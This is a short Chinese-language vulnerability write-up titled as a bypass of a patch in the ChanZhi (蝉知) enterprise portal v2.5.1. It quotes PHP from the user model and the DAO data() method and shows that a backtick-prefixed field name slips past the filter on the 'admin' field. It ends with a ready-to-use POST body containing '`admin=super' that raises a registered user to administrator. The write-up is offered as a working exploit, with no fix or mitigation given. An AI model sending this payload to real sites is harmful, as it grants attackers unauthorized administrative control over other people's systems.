蝉知企业门户系统 v2.5.1 绕过补丁继续注入

/system/module/user/model.php
[php]
public function update($account)
{
/* If the user want to change his password. */
if($this->post->password1 != false)
{
$this->checkPassword();
if(dao::isError()) return false;
$password = $this->createPassword($this->post->password1, $account);
$this->post->set('password', $password);
}
$user = fixer::input('post')
->cleanInt('imobile, qq, zipcode')
->setDefault('admin', 'no')
->remove('ip, account, join, visits')
->removeIF(RUN_MODE != 'admin', 'admin')
->get();
return $this->dao->update(TABLE_USER)
->data($user, $skip = 'password1,password2')
->autoCheck()
->batchCheck($this->config->user->require->edit, 'notempty')
->check('email', 'email')
->check('email', 'unique', "account!='$account'")
->checkIF($this->post->gtalk != false, 'gtalk', 'email')
->where('account')->eq($account)
->exec();
}
[/php]
fixer这个类对admin字段进行了检测
看到
/system/lib/dao/dao.class.php
的data()
[php]
*/
public function data($data, $skipFields = '')
{
$this->data = $data;
if($skipFields) $skipFields = ',' . str_replace(' ', '', $skipFields) . ',';
foreach($data as $field => $value)
{
$field = str_replace('`', '', $field);
$field = str_replace(',', '', $field);
if(strpos($skipFields, ",$field,") !== false) continue;
$this->sql .= "`$field` = " . $this->quote($value) . ',';
}
$this->sql = rtrim($this->sql, ','); // Remove the last ','.
return $this;
}
[/php]
去掉了 `这个符号

我们提交 `admin绕过检测后 ,再进入data()后去掉 `又被还原,

导致 管理员权限的提升

注册用户修改资料 post
[php]
realname=aaaaaa'&email=z%40qq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&`admin=super
[/php]

即可提升至管理员

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